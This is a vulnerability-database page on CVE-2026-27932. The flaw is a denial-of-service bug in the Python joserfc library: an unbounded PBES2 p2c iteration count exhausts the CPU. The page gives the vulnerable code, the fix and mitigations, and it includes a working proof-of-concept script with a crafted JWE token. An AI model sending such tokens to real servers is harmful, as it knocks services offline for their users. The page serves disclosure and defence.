# CVE-2026-27932: joserfc DoS — Fixed in 1.6.3

🐍

🐍 PyPI

Not in CISA KEV

HIGH severity

# CVE-2026-27932 — joserfc

HIGH [Fix: authlib/joserfc@696a961](https://github.com/authlib/joserfc/commit/696a9611ab982c45ee2190ed79ca8e1d8e09398f)

CVE-2026-27932 is a high-severity (CVSS 7.5) CWE-770 vulnerability in joserfc. A fix is available for joserfc — see the affected versions and patch details below.

joserfc PBES2 p2c Unbounded Iteration Count enables Denial of Service (DoS)

Also known as[GHSA-w5r5-m38g-f9f9](/vulnerability/GHSA-w5r5-m38g-f9f9)PYSEC-2026-2529

Published

Mar 3, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27932.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.5%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk

0.00%0.32%0.64%0.96%0.0%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🐍`joserfc`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

## Description

## Summary

A resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token.

This vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.

### Details

**Vulnerable file:** `src/joserfc/_rfc7518/jwe_algs.py` **Vulnerable function:** `PBES2HSAlgKeyEncryption.decrypt_cek()` **Lines:** 283

```
def decrypt_cek(self, recipient: Recipient[OctKey]) -> bytes:
    headers = recipient.headers()
    # ...
    p2c = headers["p2c"]  # ← attacker-controlled integer
    # ...
    kek = self.compute_derived_key(key.get_op_key("deriveKey"), p2s, p2c)
```

The `p2c` value is then passed to `compute_derived_key` :

```
def compute_derived_key(self, key: bytes, p2s: bytes, p2c: int) -> bytes:
    # ...
    kdf = PBKDF2HMAC(
        algorithm=self.hash_alg,
        length=self.key_size // 8,
        salt=salt,
        iterations=p2c,  # ← unbounded iterations
        backend=default_backend(),
    )
```

**Impact on JWT Policies** Any JWT policy configured to allow PBES2 key management algorithms (e.g., `PBES2-HS256+A128KW`) is vulnerable. Because the DoS occurs during the decryption phase, the attack is triggered before any claim validation (e.g., exp,`iss, aud` checks) or nested signature verification takes place. This makes existing JWT "policies" ineffective as a defense if the underlying algorithm is permitted.

### PoC

**Tested against joserfc 1.6.2. Local Reproduction:**

```
import time
from joserfc import jwe
from joserfc.jwk import OctKey

# Force joserfc to use local source if needed
# sys.path.insert(0, "src")

# Attacker-crafted token with 10 million iterations
# Normally legitimate p2c is ~2048-4096. 10M iterations = ~5s DoS.
token = "eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiWjI5dVpYSm1ZdyIsInAyYyI6MTAwMDAwMDB9.dummy.dummy.dummy.dummy"

key = OctKey.import_key(b"any-password")

t0 = time.perf_counter()
try:
    # This call will hang the thread for seconds
    jwe.decrypt_compact(token, key, algorithms=["PBES2-HS256+A128KW", "A128CBC-HS256"])
except Exception:
    pass
print(f"Elapsed: {time.perf_counter() - t0:.2f}s")
```

### Impact

An unauthenticated remote attacker can exhaust the CPU resources of a server by sending a small number of crafted JWE/JWT tokens. Each token will occupy a worker thread/process for a duration proportional to the `p2c` value (up to several minutes or hours depending on the integer value). This results in a complete Denial of Service for legitimate users.

### Recommendation

Minimal fix: Implement an upper bound check for the `p2c` parameter in `PBES2HSAlgKeyEncryption.decrypt_cek()`.

```
MAX_P2C = 300000  # Example security bound

# ... inside decrypt_cek ...
p2c = headers["p2c"]
if not isinstance(p2c, int) or p2c > MAX_P2C:
    raise DecodeError(f"p2c iteration count too high (max {MAX_P2C})")
```

Additionally, applications should only enable PBES2 algorithms if password-based encryption is specifically required and should enforce a strict algorithms allowlist in their JWT/JWE policies.

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐍PyPI

`joserfc` 

all versions

1.6.3`pip install --upgrade 'joserfc==1.6.3'`

## Affected Products

1 product · 1 configurations

Application

`joserfc`hsiaoming

≤ 1.6.2

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for joserfc, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update joserfc to 1.6.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27932 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
    

## Frequently Asked Questions

\# Summary A resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massi

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